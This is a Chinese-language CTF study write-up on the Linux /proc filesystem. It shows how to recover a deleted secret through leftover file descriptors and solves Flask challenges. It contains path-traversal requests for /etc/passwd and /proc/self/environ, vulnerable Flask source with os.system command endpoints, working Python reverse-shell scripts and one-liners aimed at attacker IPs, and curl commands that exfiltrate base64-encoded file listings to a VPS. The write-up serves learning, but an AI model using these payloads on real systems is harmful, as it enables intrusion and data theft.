站在巨人们的肩膀上进行的学习
/proc
目录中包含许多以数字命名的子目录,这些数字表示系统当前正在运行进程的进程号(PID),里面包含对应进程相关的多个信息文件:
ls -al /proc
ps
命令查找与进程相关的PID号:
ps a
:显示现行终端机下的所有程序,包括其他用户的程序。
这个文件给出了内核启动的命令。它和用于进程的cmdline项非常相似。
cat /proc/1536/cmdline
可知PID为1536的进程的启动命令为/usr/bin/zsh
。
是个符号链接,对应到指定进程的工作(运行)目录
ls -al /proc/1536/cwd
可见PID为1536的进程的运行目录为/
,然后可以通过ls
命令读出此进程的运行目录:
ls /proc/1536/cwd
这是个目录,指向启动当前进程的可执行文件(完整路径)的符号链接。通过exe文件我们可以获得指定进程的可执行文件的完整路径:
ls -al /proc/1536/exe
当前进程的环境变量列表文件,彼此间用空字符(NULL)隔开;变量用大写字母表示,其值用小写字母表示;
cat /proc/1536/environ
这是个目录,包含当前进程打开的每一个文件的文件描述符(file descriptor
),这些文件描述符是指向实际文件的一个符号链接;
Linux文件描述符
:可以理解为Linux跟踪打开文件,而分配的一个数字,这个数字有点类似c语言操作文件时候的句柄,通过句柄就可以实现文件的读写操作。
例如Python中,当我们open()
函数打开一个文件时便创建了一个文件描述符,而后对这个文件描述符使用read()
函数便是读取文件描述符中的内容,close()
函数用于关闭/销毁这个文件描述符。
文件描述符储存在:
/proc/
/fd/
即每个通过这个进程打开的文件都会显示在fd
目录中。所以我们可以通过fd
目录里的文件获得指定进程所打开的每个文件的路径以及文件内容。
查看指定进程打开的某个文件的路径:
ls -al /proc/1536/fd
ls -al /proc/1070/fd/4
这个fd比较重要,因为在 linux 系统中,如果一个程序用
open()
打开了一个文件但最终没有关闭它
,即便从外部(如os.remove(SECRET_FILE)
)删除
这个文件之后,在 /proc 这个进程的 pid 目录下的 fd 文件描述符目录下还是会有这个文件的文件描述符
,通过这个文件描述符我们即可得到被删除文件的内容
。
/proc/self
表示当前进程目录
为了更方便的获取本进程的信息,Linux提供了/proc/self/目录,这个目录比较独特,不同的进程访问该目录时获得的信息时不同的,内容等价于/proc/本进程pid/
。进程可以通过访问/proc/self/
目录来获取自己的系统信息,而不用每次都获取pid。
1.获取当前进程的启动命令:
cat /proc/self/cmdline
2.获取目标当前进程环境的运行目录与目录里的文件:
ls -al /proc/self/cwd
ls /proc/self/cwd
当不知道目标网站的Web路径或当前路径时,这经常使用
3.获得当前进程的可执行文件的完整路径:
ls -al /proc/self/exe
4.获取当前进程的环境变量信息:
cat /proc/self/environ
5.获取当前进程打开的文件内容:
cat /proc/self/fd/{id}
连接:
net start sshd
ssh -p 25112 [email protected]
在URL处有个文件读取:
/page?url=../../../../etc/passwd
可以尝试读取一下根目录文件,猜测flag文件
/page?url=../../../../flag
发现真有flag文件。当然这绝对不是预期解法
一般要尝试访问一下/proc/self
目录
/page?url=../../../../proc/self/cmdline
/page?url=../../../../proc/self/environ
访问cmdline文件时返回一个
发现是python环境,读取一下app.py文件:
/page?url=../../../../app.py
from flask import Flask, Response
from flask import render_template
from flask import request
import os
import urllib
app = Flask(__name__)
SECRET_FILE = "/tmp/secret.txt"
f = open(SECRET_FILE)
SECRET_KEY = f.read().strip()
os.remove(SECRET_FILE) #删除文件
@app.route('/')
def index():
return render_template('search.html')
@app.route('/page')
def page():
url = request.args.get("url")
try:
if not url.lower().startswith("file"):
res = urllib.urlopen(url)
value = res.read()
response = Response(value, mimetype='application/octet-stream')
response.headers['Content-Disposition'] = 'attachment; filename=beautiful.jpg'
return response
else:
value = "HACK ERROR!"
except:
value = "SOMETHING WRONG!"
return render_template('search.html', res=value)
@app.route('/no_one_know_the_manager')
def manager():
key = request.args.get("key")
print(SECRET_KEY)
if key == SECRET_KEY:
shell = request.args.get("shell")
os.system(shell)
res = "ok"
else:
res = "Wrong Key!"
return res
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8080)
分析一下:/tmp/secret.txt
下有一个KEY,需要这个KEY才能到/no_one_know_the_manager
网页下执行system命令
但是直接访问/tmp/secret.txt
返回空,因为os.remove(SECRET_FILE)
这个函数删除了文件,但这么删除会留下文件描述符在内存中,考察了利用文件描述符读取文件
linux有下面的特性,系统中如果一个程序打开了一个文件没有关闭,即便从外部(如
os.remove(SECRET_FILE)
)删除之后,在/proc
这个进程的pid
目录下的fd
文件描述符目录下还是会有这个文件的fd
,通过这个我们即可得到被删除文件的内容。
因为具体这个文件的进程是多少不知道,需要爆破一下:
得到key以后就去执行命令了,但执行一下会发现是没有回显的!这时候需要带外数据了
Python反弹shell的脚本:
import socket,subprocess,os
s=scoket.socket(socket.AF_INET,socke.SOCK_STREAM) //socket.AF_INET:。另一个地址家族AF_INET6用于第6版因特网协议(IPv6)寻址 SOCK_STREAM建立tcp链接
s.connect(("192.168.1.12",7111))#你要回shell的机子
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
python -c
可以在命令行中调用 python 代码, 实际上 -c 就是 command 的意思
类似于php -r
python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('119.xxx.xxx.xxx',7777));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
不反弹shell,还有通过curL带出数据的:
curl http://119.xxx.xxx.xxx/`ls / |base64`
curl http://119.xxx.xxx.xxx/`cat /f* |base64`
这里用base64是因为日志中只能看到第一行的内容,而原本的内容是有多行的,所以我们将结果base64编码成一行
VPS上查看日志文件:/var/log/httpd/access.log
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
这题可以直接连接自己的VPS,不用听题目的开个内网靶机
from flask import Flask, request
import os
app = Flask(__name__)
flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!
# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"
@app.route('/')
def source():
return open("app.py","r").read()
if __name__ == "__main__":
app.run(host='0.0.0.0')
还是一样的问题,直接就删除了文件,但是会留下文件操作符,一样给了个system函数,继续通过python反弹shell,但这里有个坑是执行环境只有python3而不是python了
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("119.xxx.xxx.xxx",7000));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'
连上以后要寻找文件了,可以一个个试出来,但还是总结一下大佬们的寻找方式有三种(就看到三种):
这个简单易上手
cat /proc/*/fd/*
lsof
命令列出活跃进程的所有打开文件
lsof
但是这题环境没有安装这个命令
python
命令有python环境就可用pyhton来查询:
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/3') for i in range(20)];"
狠一点的话
python3 -c "import os;[os.system('cat /proc/'+str(i)+'/fd/'+str(j)) for i in range(20) for j in range(10)];"
Proc 目录在 CTF 中的妙用
/proc文件与/etc文件
Linux的/proc/self/学习 ++ CTF例题